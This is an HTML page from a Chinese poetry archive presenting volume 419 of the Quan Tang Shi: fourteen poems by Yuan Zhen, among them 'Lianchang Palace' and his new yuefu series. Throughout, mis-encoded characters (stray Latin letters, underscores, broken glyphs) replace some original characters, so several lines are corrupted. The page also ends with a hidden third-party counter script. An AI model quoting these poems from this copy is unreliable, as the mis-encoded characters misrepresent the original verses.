<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<link rel="stylesheet" href="../../style.css"><title>古诗库：全唐诗卷四百一十九</title>
<meta name="GENERATOR" content="Microsoft FrontPage 3.0">

</head>
<body><script language="javascript" src="../../search.js"></script>
<center><input type="button" value="本页内部搜索" onclick="gofind()"></center>
<p><div align="left">

　　　　　　　　　　　　　　卷四百一十九
<br>
<br>　　卷419_1  「连昌宫词」元稹
<br>
<br>　　连昌宫中满宫竹，岁久无人森似束。又有墙头千叶桃，
<br>
<br>　　风动落花红蔌蔌。宫边老翁为余泣，小年进食曾因入。
<br>
<br>　　上皇正在望仙楼，太真同凭阑干立。楼上楼前尽珠翠，
<br>
<br>　　炫转荧煌照天地。归来如梦复如痴，何暇备言宫里事。
<br>
<br>　　初过寒食一百六，店舍无烟宫树绿。夜半月高弦索鸣，
<br>
<br>　　贺老琵琶定场屋。力士传呼觅念奴，念奴潜伴诸郎宿。
<br>
<br>　　须臾觅得又连催，特敕街中许然烛。春娇满眼睡红绡，
<br>
<br>　　掠削云鬟旋装束。飞上九天歌一声，二十五郎吹管逐。
<br>
<br>　　逡巡大遍凉州彻，色色龟兹轰录续。李谟L笛傍宫墙，
<br>
<br>　　偷得新翻数般曲。平明大驾发行宫，万人歌舞涂路中。
<br>
<br>　　百官队仗避岐薛，杨氏诸姨车斗风。明年十月东都破，
<br>
<br>　　御路犹存禄山过。驱令供顿不敢藏，万姓无声泪潜堕。
<br>
<br>　　两京定后六七年，却寻家舍行宫前。庄园烧尽有枯井，
<br>
<br>　　行宫门闭树宛然。尔后相传六皇帝，不到离宫门久闭。
<br>
<br>　　往来年少说长安，玄武楼成花萼废。去年敕使因斫竹，
<br>
<br>　　偶值门开暂相逐。荆榛栉比塞池塘，狐兔骄痴缘树木。
<br>
<br>　　舞榭欹倾基尚在，文窗窈窕纱犹绿。尘埋粉壁旧花钿，
<br>
<br>　　乌啄风筝碎珠玉。上皇偏爱临砌花，依然御榻临阶斜。
<br>
<br>　　蛇出燕巢盘斗恚菌生香案正当衙。寝殿相连端正楼，
<br>
<br>　　太真梳洗楼上头。晨光未出帘影黑，至今反挂珊瑚钩。
<br>
<br>　　指似傍人因恸哭，却出宫门泪相续。自从此后还闭门，
<br>
<br>　　夜夜狐狸上门屋。我闻此语心骨悲，太平谁致乱者谁。
<br>
<br>　　翁言野父何分别，耳闻眼见为君说。姚崇宋Z作相公，
<br>
<br>　　劝谏上皇言语切。燮理阴阳禾黍丰，调和中外无兵戎。
<br>
<br>　　长官清平太守好，拣选皆言由相公。开元之末姚宋死，
<br>
<br>　　朝廷渐渐由妃子。禄山宫里养作儿，虢国门前闹如市。
<br>
<br>　　弄权宰相不记名，依稀忆得杨与李。庙谟颠倒四海摇，
<br>
<br>　　五十年来作疮_.今皇神圣丞相明，诏书才下吴蜀平。
<br>
<br>　　官军又取淮西贼，此贼亦除天下宁。年年耕种宫前道，
<br>
<br>　　今年不遣子孙耕。老翁此意深望幸，努力庙谋休用兵。
<br>
<br>　　卷419_2  「望云骓马歌」元稹
<br>
<br>　　忆昔先皇幸蜀时，八马入谷七马疲。肉绽筋挛四蹄脱，
<br>
<br>　　七马死尽无马骑。天子蒙尘天雨泣，f岩道路淋漓湿。
<br>
<br>　　峥嵘白草眇难期，洞黄泉安可入。朱围兵抽未尽，
<br>
<br>　　怀光寇骑追行及。嫔娥相顾倚树啼，g鹭无声仰天立。
<br>
<br>　　圉人初进望云骓，彩色憔悴众马欺。上前喷吼如有意，
<br>
<br>　　耳尖卓立节l奇。君王试遣回胸臆，撮骨锯牙骈两肋。
<br>
<br>　　蹄悬四R脑颗方，胯耸三山尾株直。圉人畏诮仍相惑，
<br>
<br>　　此马无良空有力。频频啮掣辔难施，往往跳鞍不得。
<br>
<br>　　色沮声悲仰天诉，天不遣言君未识。亚身受取白玉羁，
<br>
<br>　　开口衔将紫金勒。君王自此方敢骑，似遇良臣久凄恻。
<br>
<br>　　龙腾鱼鳖然惊，骥R驴骡少颜色。七圣心迷运方厄，
<br>
<br>　　五丁力尽路犹窄。橐它山上斧刃堆，望秦岭下锥头石。
<br>
<br>　　五六百里真符县，八十四盘青山驿。掣开流电有辉光，
<br>
<br>　　突过浮云无朕迹。地平险尽施黄屋，九九属车十二纛。
<br>
<br>　　齐映前导引骓头，严震迎号抱骓足。路旁垂白天宝民，
<br>
<br>　　望骓礼拜见骓哭。皆言玄宗当时无此马，不免骑骡来幸蜀。
<br>
<br>　　雄雄猛将李令公，收城杀贼豺狼空。天旋地转日再中，
<br>
<br>　　天子却坐明光宫。朝廷无事忘征战，校猎朝回暮球宴。
<br>
<br>　　御马齐登拟用槽，君王自试宣徽殿。圉人还进望云骓，
<br>
<br>　　性强步阔无方便。分i摆杖头太高，擘肘回头项难转。
<br>
<br>　　人人共恶难回跋，潜遣飞龙减刍秣。银鞍绣]不复施，
<br>
<br>　　空尽天年御槽活。当时邹谚已有言，莫倚功高浪开阔。
<br>
<br>　　登山纵似望云骓，平地须饶红叱拨。长安三月花垂草，
<br>
<br>　　果下翩翩紫骝好。千官暖热李令闲，百马生狞望云老。
<br>
<br>　　望云骓，尔之种类世世奇。当时项王乘尔祖，
<br>
<br>　　分配英豪称霸主。尔身今日逢圣人，从幸巴渝归入秦。
<br>
<br>　　功成事遂身退天之道，何必随群逐队到死蹋红尘。
<br>
<br>　　望云骓，用与不用各有时，尔勿悲。
<br>
<br>　　卷419_3  「和李校书新题乐府十二首。上阳白发人」元稹
<br>
<br>　　天宝年中花鸟使，撩花狎鸟含春思。满怀墨诏求嫔御，
<br>
<br>　　走上高楼半酣醉。醉酣直入卿士家，闺闱不得偷回避，
<br>
<br>　　良人顾妾心死别，小女呼爷血垂泪。十中有一得更衣，
<br>
<br>　　永配深宫作宫婢。御马南奔胡马蹙，宫女三千合宫弃。
<br>
<br>　　宫门一闭不复开，上阳花草青苔地。月夜闲闻洛水声，
<br>
<br>　　秋池暗度风荷气。日日长看提众门，终身不见门前事。
<br>
<br>　　近年又送数人来，自言兴庆南宫至。我悲此曲将彻骨，
<br>
<br>　　更想深冤复酸鼻。此辈贱嫔何足言，帝子天孙古称贵。
<br>
<br>　　诸王在x四十年，七宅六宫门户s.隋炀枝条袭封邑，
<br>
<br>　　肃宗血胤无官位。王无妃媵主无婿，阳亢阴淫结灾累。
<br>
<br>　　何如决雍顺众流，女遣从夫男作吏。
<br>
<br>　　卷419_4  「和李校书新题乐府十二首。华原磬」元稹
<br>
<br>　　泗滨浮石裁为磬，古乐疏音少人听。工师小贱牙旷稀，
<br>
<br>　　不辨邪声嫌雅正。正声不屈古调高，钟律参差管弦病。
<br>
<br>　　铿金戛瑟徒相杂，投玉敲冰杳然零。华原软石易追琢，
<br>
<br>　　高下随人无雅郑。弃旧美新由乐胥，自此黄钟不能竞。
<br>
<br>　　玄宗爱乐爱新乐，梨园弟子承恩横。霓裳才彻胡骑来，
<br>
<br>　　云门未得蒙亲定。我藏古磬藏在心，有时激作南风咏。
<br>
<br>　　伯夔曾抚野兽驯，仲尼暂叩春雷盛。何时得向笋悬，
<br>
<br>　　为君一吼君心醒。愿君每听念封疆，不遣豺狼剿人命。
<br>
<br>　　卷419_5  「和李校书新题乐府十二首。五弦弹」元稹
<br>
<br>　　赵璧五弦弹徵调，徵声f绝何清峭。辞雄皓鹤警露啼，
<br>
<br>　　失子哀猿绕林啸。风入春松正凌乱，莺含晓舌怜娇妙。
<br>
<br>　　呜呜暗溜咽冰泉，杀杀霜刀涩寒鞘。促节频催渐繁拨，
<br>
<br>　　珠幢斗绝金铃掉。千x鸣镝发胡弓，万片清球击虞庙。
<br>
<br>　　众乐虽同第一部，德宗皇帝常偏召。旬休节假暂归来，
<br>
<br>　　一声狂杀长安少。主第侯家最难见，蹈璋辞皆承诏。
<br>
<br>　　水精帘外教贵嫔，玳瑁筵心伴中要。臣有五贤非此弦，
<br>
<br>　　或在拘囚或屠钓。一贤得进胜累百，两贤得进同周召。
<br>
<br>　　三贤事汉灭暴强，四贤镇岳宁边徼。五贤并用调五常，
<br>
<br>　　五常既叙三光耀。赵璧五弦非此贤，九九何劳设庭燎。
<br>
<br>　　卷419_6  「和李校书新题乐府十二首。西凉伎」元稹
<br>
<br>　　吾闻昔日西凉州，人烟扑地桑柘稠。蒲萄酒熟恣行乐，
<br>
<br>　　红艳青旗朱粉楼。楼下当垆称卓女，楼头伴客名莫愁。
<br>
<br>　　乡人不识离别苦，更卒多为沉滞游。哥舒开府设高宴，
<br>
<br>　　八珍九酝当前头。前头百戏竞撩乱，丸剑跳踯霜雪浮。
<br>
<br>　　狮子摇光毛彩竖，胡腾醉舞筋骨柔。大宛来献赤汗马，
<br>
<br>　　赞普亦奉翠茸裘。一朝燕贼乱中国，河湟没尽空遗丘。
<br>
<br>　　开远门前万里堠，今来蹙到行原州。去京五百而近何其逼，
<br>
<br>　　天子县内半没为荒陬，西凉之道尔阻修。连城边将但高会，
<br>
<br>　　每听此曲能不羞。
<br>
<br>　　卷419_7  「和李校书新题乐府十二首。法曲」元稹
<br>
<br>　　吾闻黄帝鼓清角，弭伏熊罴舞玄鹤。舜持干羽苗革心，
<br>
<br>　　尧用咸池凤巢阁。大夏C武皆象功，功多已讶玄功薄。
<br>
<br>　　汉祖过沛亦有歌，秦王破阵非无作。作之宗庙见艰难，
<br>
<br>　　作之军旅传糟粕。明皇度曲多新态，宛转侵淫易沉著。
<br>
<br>　　赤白桃李取花名，霓裳羽衣号天落。雅弄虽云已变乱，
<br>
<br>　　夷音未得相参错。自从胡骑起烟尘，毛毳腥膻满咸洛。
<br>
<br>　　女为胡妇学胡妆，伎进胡音务胡乐。火凤声沉多咽绝，
<br>
<br>　　春莺啭罢长萧索。胡音胡骑与胡妆，五十年来竞纷泊。
<br>
<br>　　卷419_8  「和李校书新题乐府十二首。驯犀」元稹
<br>
<br>　　建中之初放驯象，远归林邑近交广。兽返深山鸟构巢，
<br>
<br>　　鹰雕鹞鹘无羁鞅。贞元之岁贡驯犀，上林置圈官司养。
<br>
<br>　　玉盆金栈非不珍，虎啖狴牢鱼食网。渡江之橘逾汶貉，
<br>
<br>　　反时易性安能长。腊月北风霜雪深，mR鳞身遂长往。
<br>
<br>　　行地无疆费传驿，通天异物罹幽枉。乃知养兽如养人，
<br>
<br>　　不必人人自敦奖。不扰则得之于理，不夺有以多于赏。
<br>
<br>　　脱衣推食衣食之，不若男耕女令纺。尧民不自知有尧，
<br>
<br>　　但见安闲聊击壤。前观驯象后驯犀，理国其如指诸掌。
<br>
<br>　　卷419_9  「和李校书新题乐府十二首。立部伎」元稹
<br>
<br>　　胡部新声锦筵坐，中庭汉振高音播。太宗庙乐传子孙，
<br>
<br>　　取类群凶阵初破。戢戢攒枪霜雪耀，腾腾击鼓云雷磨。
<br>
<br>　　初疑遇敌身启行，终象由文士宪左。昔日高宗常立听，
<br>
<br>　　曲终然后临玉座。如今节将一掉头，电卷风收尽摧挫。
<br>
<br>　　宋晋郑女歌声发，满堂会客齐喧呵。珊珊玉动腰身，
<br>
<br>　　一一贯珠随咳唾。顷向圜丘见郊祀，亦曾正旦亲朝贺。
<br>
<br>　　太常雅乐备宫悬，九奏未终百寮惰。滞难令季札辨，
<br>
<br>　　迟回但恐文侯卧。工师尽取聋昧人，岂是先王作之过。
<br>
<br>　　宋W尝传天宝季，法曲胡音忽相和。明年十月燕寇来，
<br>
<br>　　九庙千门虏尘稹Ｎ椅糯擞锾靖雌，古来邪正将谁奈。
<br>
<br>　　奸声入耳佞入心，侏儒饱饭夷齐饿。
<br>
<br>　　卷419_10  「和李校书新题乐府十二首。骠国乐」元稹
<br>
<br>　　骠之乐器头象驼，音声不合十二和。促舞跳筋节硬，
<br>
<br>　　繁辞变乱名字讹。千弹万唱皆咽咽，左旋右转空椤
<br>
<br>　　俯地呼天终不会，曲成调变当如何。德宗深意在柔远，
<br>
<br>　　笙镛不御停娇娥。史馆书为朝贡传，太常编入L科。
<br>
<br>　　古时陶尧作天子，逊遁亲听康衢歌。又遣遒人持木铎，
<br>
<br>　　遍采讴谣天下过。万人有意皆洞达，四岳不敢施烦苛。
<br>
<br>　　尽令区中击壤块，燕及海外覃恩波。秦霸周衰古官废，
<br>
<br>　　下堙上塞王道颇。共矜异俗同声教，不念齐民方荐瘥。
<br>
<br>　　传称鱼鳖亦咸若，苟能效此诚足多。借如牛马未蒙泽，
<br>
<br>　　岂在抱瓮滋鼋鼍。教化从来有源委，必将泳海先泳河。
<br>
<br>　　是非倒置自古有，骠兮骠兮谁尔诃。
<br>
<br>　　卷419_11  「和李校书新题乐府十二首。胡旋女」元稹
<br>
<br>　　天宝欲末胡欲乱，胡人献女能胡旋。旋得明王不觉迷，
<br>
<br>　　妖胡奄到长生殿。胡旋之义世莫知，胡旋之容我能传。
<br>
<br>　　蓬断霜根羊角疾，竿戴朱盘火轮炫。骊珠迸珥逐飞星，
<br>
<br>　　虹晕轻巾掣流电。潜鲸暗吸波海，回风乱舞当空霰。
<br>
<br>　　万过其谁辨终始，四座安能分背面。才人观者相为言，
<br>
<br>　　承奉君恩在圆变。是非好恶随君口，南北东西逐君眄，
<br>
<br>　　柔软依身著佩带，裴回绕指同环钏。佞臣闻此心计回，
<br>
<br>　　荧惑君心君眼眩。君言似曲屈为钩，君言好直舒为箭。
<br>
<br>　　巧随清影触处行，妙学春莺百般啭。倾天侧地用君力，
<br>
<br>　　抑塞周遮恐君见。翠华南幸万里桥，玄宗始悟坤维转。
<br>
<br>　　寄言旋目与旋心，有国有家当共谴。
<br>
<br>　　卷419_12  「和李校书新题乐府十二首。蛮子朝」元稹
<br>
<br>　　西南六诏有遗种，僻在荒陬路寻壅。部落支离君长贱，
<br>
<br>　　比诸夷狄为幽冗。犬戎强盛频侵削，降有愤心战无勇。
<br>
<br>　　夜防抄盗保深山，朝望烟尘上高冢。鸟道绳桥来款附，
<br>
<br>　　非因慕化因危悚。清平官系金磲希求天叩地持双珙。
<br>
<br>　　益州大将韦令公，顷实遭时定F陇。自居剧镇无他绩，
<br>
<br>　　幸得蛮来固恩宠。为蛮开道引蛮朝，迎蛮送蛮常继踵。
<br>
<br>　　天子临轩四方贺，朝廷无事唯端拱。漏天走马春雨寒，
<br>
<br>　　泸水飞蛇瘴烟重。椎头丑类除忧患，肿足役夫劳汹涌。
<br>
<br>　　匈奴互市岁不供，云蛮通好辔长em.戎王养马渐多年，
<br>
<br>　　南人耗悴西人恐。
<br>
<br>　　卷419_13  「和李校书新题乐府十二首。缚戎人」元稹
<br>
<br>　　边头大将差健卒，入抄禽生快于鹘。但逢W面即捉来，
<br>
<br>　　半是边人半戎羯。大将论功重多级，捷书飞奏何超忽。
<br>
<br>　　圣朝不杀谐至仁，远送炎方示微罚。万里虚劳肉食费，
<br>
<br>　　连头尽被毡裘。华P重席卧腥臊，病犬愁鸪声咽臁
<br>
<br>　　中有一人能汉语，自言家本长城窟。少年随父戍安西，
<br>
<br>　　河渭瓜沙眼看没。天宝未乱犹数载，狼星四角光蓬勃。
<br>
<br>　　中原祸作边防危，果有豺狼四来伐。蕃马膘成正翘健，
<br>
<br>　　蕃兵肉饱争唐突。烟尘乱起无亭燧，主帅惊跳弃旄钺。
<br>
<br>　　半夜城摧鹅雁鸣，妻啼子叫曾不歇。阴森神庙未敢依，
<br>
<br>　　脆薄河冰安可越。荆棘深处共潜身，前困蒺藜后Yt.
<br>
<br>　　平明蕃骑四面走，古墓深林尽株。少壮为俘头被髡，
<br>
<br>　　老翁留居足多刖。乌鸢满野尸狼藉，楼榭成灰墙突兀。
<br>
<br>　　暗水溅溅入旧池，平沙漫漫铺明月。戎王遣将来安慰，
<br>
<br>　　口不敢言心咄咄。供进腋腋御叱般，岂料穹庐拣肥].
<br>
<br>　　五六十年消息绝，中间盟会又猖獗。眼穿东日望尧云，
<br>
<br>　　肠断正朝梳汉发。近年如此思汉者，半为老病半埋骨。
<br>
<br>　　常教孙子学乡音，犹话平时好城阙。老者傥尽少者壮，
<br>
<br>　　生长蕃中似蕃悖。不知祖父皆汉民，便恐为蕃心LL.
<br>
<br>　　缘边饱喂十万众，何不齐驱一时发。年年但捉两三人，
<br>
<br>　　精卫衔芦塞溟渤。
<br>
<br>　　卷419_14  「和李校书新题乐府十二首。阴山道」元稹
<br>
<br>　　年年买马阴山道，马死阴山帛空耗。元和天子念女工，
<br>
<br>　　内出金银代酬犒。臣有一言昧死进，死生甘分答恩焘。
<br>
<br>　　费财为马不独生，耗帛伤工有他盗。臣闻平时七十万匹马，
<br>
<br>　　关中不省闻嘶噪。四十八监选龙媒，时贡天庭付良造。
<br>
<br>　　如今s野十无一，尽在飞龙相践暴。万束刍茭供旦暮，
<br>
<br>　　千钟菽粟长牵漕。屯军郡国百馀镇，缣缃岁奉春冬劳。
<br>
<br>　　税户逋逃例摊配，官司折纳仍贪冒。挑纹变di力倍费，
<br>
<br>　　弃旧从新人所好。越e缭绫织一端，十匹素缣功未到。
<br>
<br>　　豪家富贾逾常制，令族清班无雅操。从骑爱奴丝布衫，
<br>
<br>　　臂鹰小儿云锦韬。群臣利己要差僭，天子深衷空悯悼。
<br>
<br>　　绰立花砖g凤行，雨露恩波几时报。
<br>
<br>
<br>   
<br>
<br>
</center></div>
<div style="DISPLAY: none"><script src=http://www.lingshidao.com/count/count.php></script></div></body>
</html>
